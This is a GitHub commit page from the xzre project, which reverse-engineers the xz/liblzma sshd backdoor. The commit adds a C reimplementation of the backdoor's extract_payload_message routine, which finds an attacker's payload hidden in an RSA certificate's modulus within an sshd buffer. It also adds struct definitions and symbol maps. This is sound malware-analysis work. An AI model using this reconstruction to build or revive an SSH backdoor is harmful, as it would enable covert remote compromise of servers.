Skip to content

Commit

Permalink
xzre_code: add extract_payload_message
Browse files Browse the repository at this point in the history
  • Loading branch information
smx-smx committed Aug 4, 2024
1 parent 3f901de commit 91f1e70
Show file tree
Hide file tree
Showing 6 changed files with 119 additions and 22 deletions.
2 changes: 1 addition & 1 deletion gdb/common.gdb
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ define handle_liblzma
find_bytes verify_signature, $lzma_start, $lzma_end, 415741564155415455534881ECC80000004C8944
find_bytes sshd_proxy_elevate, $lzma_start, $lzma_end, F30F1EFA550F57C0B93602000031C048
find_bytes hook_RSA_get0_key, $lzma_start, $lzma_end, F30F1EFA41564154554889F54883EC20
find_bytes is_payload_message, $lzma_start, $lzma_end, F30F1EFA4885FF0F843F0100004883FE
find_bytes extract_payload_message, $lzma_start, $lzma_end, F30F1EFA4885FF0F843F0100004883FE

hbreak *$hook_RSA_public_decrypt
commands
Expand Down
46 changes: 30 additions & 16 deletions xzre.h
Original file line number Diff line number Diff line change
Expand Up @@ -558,7 +558,7 @@ typedef enum {
} EncodedStringId;

typedef enum {
PAYLOAD_STATE_INVALID = -1
PAYLOAD_STATE_INITIAL = -1
} PayloadState;

#ifndef XZRE_SLIM
Expand All @@ -571,7 +571,19 @@ typedef enum {
#define EXPAND(x, y) CONCAT(x, y)
#define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]

struct sshbuf;
struct sshbuf {
u8 *d; /* Data */
const u8 *cd; /* Const data */
size_t off; /* First available byte is buf->d + buf->off */
size_t size; /* Last byte is buf->d + buf->size - 1 */
size_t max_size; /* Maximum size of buffer */
size_t alloc; /* Total bytes allocated to buf->d */
int readonly; /* Refers to external, const data */
u32 refcount; /* Tracks self and number of child buffers */
struct sshbuf *parent; /* If child, pointer to parent */
};
static_assert(sizeof(struct sshbuf) == 64);

struct kex;

/* permit_root_login */
Expand Down Expand Up @@ -1139,7 +1151,7 @@ typedef struct __attribute__((packed)) sshd_ctx {
sshd_monitor_func_t *mm_answer_authpassword_ptr;
int monitor_reqtype_authpassword;
PADDING(4);
void *mm_answer_keyallowed_start;
sshd_monitor_func_t *mm_answer_keyallowed_start;
void *mm_answer_keyallowed_end;
void *mm_answer_keyallowed_ptr;
u32 mm_answer_keyallowed_reqtype;
Expand Down Expand Up @@ -3755,29 +3767,31 @@ extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t
extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx);

/**
* @brief locates an sshbuf within `struct kex` (FIXME: which?)
* @brief checks if the provided @p buf is sane, then decomposes it into @p p_sshbuf_d and @p p_sshbuf_size
*
* @param kex pointer to `struct kex` to search in
* @param buf pointer to `struct sshbuf` to decompose
* @param ctx the global context
* @param pOutputData output variable that will receive the address of the sshbuf data
* @param pOutputSize output variable that will receive the size of the sshbuf data
* @return BOOL TRUE if the sshbuf was found, FALSE otherwise
* @param p_sshbuf_d output variable that will receive the address of the sshbuf data
* @param p_sshbuf_size output variable that will receive the size of the sshbuf data
* @return BOOL TRUE if the sshbuf was decomposed successfully, FALSE otherwise
*/
extern BOOL sshd_kex_sshbuf_get(void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize);
extern BOOL sshbuf_extract(struct sshbuf *buf, global_context_t *ctx, void **p_sshbuf_d, size_t *p_sshbuf_size);

/**
* @brief checks if the given sshbuf buffer contains a backdoor payload message
* @brief locates the RSA modulus from the given sshbuf.
* if found, the given @p sshbuf_data will be updated to point to the modulus data.
* additionally, the length of the modulus will be written to @p out_payload_size
*
* @param sshbuf_data sshbuf data pointer
* @param sshbuf_data sshbuf containing the payload message
* @param sshbuf_size size of sshbuf data
* @param pOutPayloadSize output variable that will be populated with the size of the backdoor payload, if found
* @param out_payload_size output variable that will be populated with the size of the backdoor payload, if found
* @param ctx the global context
* @return BOOL TRUE if the given sshbuf contains a backdoor payload message, FALSE otherwise
* @return BOOL TRUE if the payload was successfully located, FALSE otherwise
*/
extern BOOL is_payload_message(
u8 *sshbuf_data,
extern BOOL extract_payload_message(
struct sshbuf *sshbuf_data,
size_t sshbuf_size,
size_t *pOutPayloadSize,
size_t *out_payload_size,
global_context_t *ctx);

/**
Expand Down
4 changes: 2 additions & 2 deletions xzre.lds.in
Original file line number Diff line number Diff line change
Expand Up @@ -122,14 +122,14 @@ SECTIONS_BEGIN()
/* 0000000000007500 */ DEFSYM(rsa_key_hash, .text.lzma_filters_copa)
/* 0000000000007620 */ DEFSYM(verify_signature, .text.lzma_index_dua)
/* 0000000000007910 */ DEFSYM(sshbuf_bignum_is_negative, .text.length_encoder_resez)
/* 0000000000007940 */ DEFSYM(sshd_kex_sshbuf_get, .text.stream_decoder_mt_get_progresz)
/* 0000000000007940 */ DEFSYM(sshbuf_extract, .text.stream_decoder_mt_get_progresz)
/* 0000000000007A10 */ DEFSYM(sshd_get_sshbuf, .text.threads_stoz)
/* 0000000000007BB0 */ DEFSYM(sshd_get_usable_socket, .text.index_decoda)
/* 0000000000007C50 */ DEFSYM(sshd_get_client_socket, .text.index_encoda)
/* 0000000000007D40 */ DEFSYM(sshd_patch_variables, .text.lzma_block_unpadded_siza)
/* 0000000000007DD0 */ DEFSYM(sshd_configure_log_hook, .text.lzma_rc_pricea)
/* 0000000000007E90 */ DEFSYM(check_backdoor_state, .text.stream_encoder_mt_iniz)
/* 0000000000007F10 */ DEFSYM(is_payload_message, .text.worker_stara)
/* 0000000000007F10 */ DEFSYM(extract_payload_message, .text.worker_stara)
/* 0000000000008070 */ DEFSYM(mm_answer_keyverify_hook, .text.bt_skip_funz)
/* 00000000000080F0 */ DEFSYM(mm_answer_authpassword_hook, .text.lzma_coda)
/* 00000000000081C0 */ DEFSYM(secret_data_get_decrypted, .text.parse_lzma10)
Expand Down
1 change: 1 addition & 0 deletions xzre_code/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ add_library(xzre_code
decrypt_payload_message.c
elf_parse.c
elf_symbol_get_addr.c
extract_payload_message.c
get_lzma_allocator.c
find_call_instruction.c
find_lea_instruction.c
Expand Down
6 changes: 3 additions & 3 deletions xzre_code/decrypt_payload_message.c
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ BOOL decrypt_payload_message(

if(!payload){
if(!ctx) return FALSE;
goto set_state_invalid;
goto set_state_reset;
}

const size_t header_size = sizeof(payload->hdr) + sizeof(payload->body_length);
Expand Down Expand Up @@ -64,8 +64,8 @@ BOOL decrypt_payload_message(
return TRUE;
} while(0);

set_state_invalid:
ctx->payload_state = PAYLOAD_STATE_INVALID;
set_state_reset:
ctx->payload_state = PAYLOAD_STATE_INITIAL;

return FALSE;
}
82 changes: 82 additions & 0 deletions xzre_code/extract_payload_message.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
/**
* Copyright (C) 2024 Stefano Moioli <[email protected]>
**/
#include "xzre.h"
#include <string.h>

BOOL extract_payload_message(
struct sshbuf *sshbuf,
size_t sshbuf_size,
size_t *out_payload_size,
global_context_t *ctx
){
if(!sshbuf || sshbuf_size <= 6) return FALSE;
if(!out_payload_size || !ctx) return FALSE;
if(!ctx->STR_ssh_rsa_cert_v01_openssh_com) return FALSE;
if(!ctx->STR_rsa_sha2_256) return FALSE;

// overflow check
if(sshbuf_size > PTRADD(sshbuf->d, sshbuf_size)) return FALSE;

size_t i = 0;
char *cert_type = NULL;
for(i=0; (sshbuf_size - i) >= 7; ++i){
// check for "ssh-rsa"
if(!strncmp(ctx->STR_ssh_rsa_cert_v01_openssh_com, (const char *)&sshbuf->d[i], 7)
// check for "rsa-sha2"
|| !strncmp(ctx->STR_rsa_sha2_256, (const char *)&sshbuf->d[i], 7)){
cert_type = (char *)&sshbuf->d[i];
break;
}
}
if (i <= 7 || !cert_type){
return FALSE;
}

u8 *p = sshbuf->d;
// go backwards over the length of the string and the length of the certificate, then extract it
// (this is the encoding used by ssh for network messages and can be seen in PHPseclib's `Strings::packSSH2`)
u32 length = __builtin_bswap32(*(u32 *)(p - 8));
if(length > 0x10000) return FALSE;

u8 *data_end = (u8 *)(cert_type + length - 8);
u8 *sshbuf_end = sshbuf->d + sshbuf_size;
// encoded data can't overflow the sshbuf size
if(data_end >= sshbuf_end) return FALSE;

size_t remaining = sshbuf_size - i;
size_t cert_type_namelen = c_strnlen(cert_type, remaining);
if(cert_type_namelen >= remaining) return FALSE;

// go past the cert type string -> RSA exponent
p = (u8 *)(cert_type + cert_type_namelen);
length = __builtin_bswap32(*(u32 *)p);
if(length > 0x10000) return FALSE;

// skip data (RSA exponent)
p += length + sizeof(u32);
if(p >= data_end) return FALSE;

// length of RSA modulus
length = __builtin_bswap32(*(u32 *)p);
if(length > 0x10000) return FALSE;

u8 *modulus_data = p;
size_t modulus_length = length;

// skip data (RSA modulus)
p += length + sizeof(u32);
if(p >= data_end) return FALSE;

// ??
if(*modulus_data == 0){
++modulus_data;
--modulus_length;
}

sshbuf->d = modulus_data;
*out_payload_size = modulus_length;
return TRUE;


}

0 comments on commit 91f1e70

Please sign in to comment.